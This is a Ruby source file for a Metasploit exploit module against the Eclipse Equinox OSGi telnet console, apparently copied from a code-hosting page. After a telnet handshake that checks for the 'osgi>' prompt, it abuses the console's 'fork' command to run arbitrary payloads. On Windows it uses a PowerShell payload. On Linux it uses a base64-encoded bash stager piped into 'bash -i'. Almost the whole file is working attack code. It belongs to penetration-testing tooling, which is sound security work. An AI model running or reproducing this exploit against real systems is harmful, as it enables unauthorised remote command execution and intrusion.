cgranleese-r7
127 lines
4.3 KiB
Ruby
127 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'base64'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::CmdStager
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include Msf::Exploit::Powershell
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TELNET_IAC = Msf::Exploit::Remote::Telnet
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Eclipse Equinox OSGi Console Command Execution',
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'Description' => %q{
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Exploit Eclipse Equinox OSGi (Open Service Gateway initiative) console
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'fork' command to execute arbitrary commands on the remote system.
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},
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'Author' => [
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'Quentin Kaiser <kaiserquentin@gmail.com>'
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],
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'License' => MSF_LICENSE,
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'References' => [
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['URL', 'https://www.eclipse.org/equinox/documents/quickstart-framework.php']
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],
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'Platform' => %w{linux win},
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'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
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'Targets' => [
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[ 'Linux (Bash Payload)', { 'Platform' => 'linux' } ],
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[ 'Windows (Powershell Payload)', { 'Platform' => 'win' } ]
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],
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'CmdStagerFlavor' => [ 'bourne' ],
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'DisclosureDate' => '2018-02-13',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
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register_options([
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OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
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])
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end
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def check
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connect
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res = sock.get_once
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if res == TELNET_IAC::IAC + TELNET_IAC::WILL + TELNET_IAC::OPT_ECHO + \
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TELNET_IAC::IAC + TELNET_IAC::WILL + TELNET_IAC::OPT_SGA + \
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TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_NAWS + \
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TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_TTYPE
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# terminal type 'xterm-256color' = \x78\x74\x65\x72\x6D\x2D\x32\x35\x36\x63\x6F\x6C\x6F\x72
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sock.put(TELNET_IAC::IAC + TELNET_IAC::SB + TELNET_IAC::OPT_TTYPE + \
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"\x00xterm-256color" + TELNET_IAC::IAC + TELNET_IAC::SE)
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res = sock.get_once
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end
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disconnect
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if res && res == "osgi> "
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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begin
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print_status("Accessing the OSGi console ...")
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unless check == Exploit::CheckCode::Vulnerable
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fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console")
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end
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if target['Platform'] == "win" then
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exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, { encode_final_payload: true, remove_comspec: true })}\"")
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else
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execute_cmdstager({ :flavor => :bourne })
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end
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print_status("#{rhost}:#{rport} - Waiting for session...")
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(datastore['TIME_WAIT']).times do
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Rex.sleep(1)
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# Success! session is here!
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break if session_created?
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end
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rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
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ensure
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disconnect
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end
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end
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def exec_command(cmd)
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connect
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res = sock.get_once
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if res == TELNET_IAC::IAC + TELNET_IAC::WILL + TELNET_IAC::OPT_ECHO + \
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TELNET_IAC::IAC + TELNET_IAC::WILL + TELNET_IAC::OPT_SGA + \
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TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_NAWS + \
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TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_TTYPE
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sock.put(TELNET_IAC::IAC + TELNET_IAC::SB + TELNET_IAC::OPT_TTYPE + \
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"\x00xterm-256color" + TELNET_IAC::IAC + TELNET_IAC::SE)
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res = sock.get_once
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end
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print_status("Exploiting...")
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sock.put("#{cmd}\r\n")
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res = sock.get
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sock.put("disconnect\r\n")
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res = sock.get
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sock.put("y\r\n")
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end
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def execute_command(cmd, opts = {})
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cmd_b64 = Base64.encode64(cmd).gsub(/\s+/, "")
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# Runtime.getRuntime().exec() workaround on Linux. Requires bash.
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exec_command("fork \"bash -c {echo,#{cmd_b64}}|{base64,-d}|{bash,-i}\"")
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end
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end
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